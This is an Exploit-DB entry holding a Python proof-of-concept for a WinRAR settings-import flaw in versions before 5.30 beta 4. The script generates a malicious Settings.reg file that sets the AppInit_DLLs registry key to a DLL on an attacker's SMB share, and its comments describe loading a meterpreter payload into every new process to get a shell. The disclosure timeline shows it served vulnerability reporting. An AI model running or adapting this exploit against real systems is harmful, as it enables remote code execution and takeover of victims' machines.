WinRar < 5.30 Beta 4 - Settings Import Command Execution

EDB-ID:

38381

CVE:


Author:

R-73eN

Type:

local

Platform:

Windows

Published:

2015-10-02

#!/usr/bin/python -w
# Title : WinRar Settings Import Command Execution
# Date : 02/10/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Vulnerable Versions : Winrar < 5.30 beta 4
# The vulnerability exists in the "Import Settings From File" function.
# Since Settings file of Winrar are saved as a registry file and WinRar executes
# it in an automatic way without checking if it is writing to the Registry keys 
# used by winrar, we can create a specially crafted settings file and we can 
# overwrite registry keys.
# Since we have access to registry there are various ways we could use this to 
# get code execution such as defining "RUN" keys or creating new services etc 
# However the best way to get code execution is using AppInit DLLs
# AppInit DLLs are DLLs that are loaded into any process when it starts. 
# In this case, we can specify a meterpreter DLL payload using a UNC path on
# an SMB server we control and then next time a new process starts we will 
# get a shell.
# Read more about AppInit Dlls : https://support.microsoft.com/en-us/kb/197571
#
# Triggering the vulnerability
# 1) Run this python script.
# 2) Open WinRar
# 3) Click Options
# 4) Click Import/Export
# 5) Import Settings from file
# 6) Select the Specially crafted Settings.reg file
#
# Disclosure Timeline:
# 01/10/2015 - Vendor Contacted POC provided
# 02/10/2015 - Vendor released patch in WinRAR 5.30 beta 4 on  to verify
# presence of [HKEY_CURRENT_USER\Software\WinRAR] or
# [HKEY_CURRENT_USER\Software\WinRAR\
#
#

banner = ""
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
print "[+] WinRar Settings Import Command Execution [+]\n"
dll = raw_input("[+] Enter dll location (smb) : ")
dll = dll.replace("\\","\\\\")
print "[+] Writing Contet To Settings.reg [+]"
evil = 'Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]\n"AppInit_DLLs"="' + dll + '"\n"LoadAppInit_DLLs"=dword:00000001\n'
print evil
f = open("Settings.reg","w")
f.write(evil)
f.close()
print "[+] Settings.reg created successfully [+]"
print "\n https://www.infogen.al/ \n"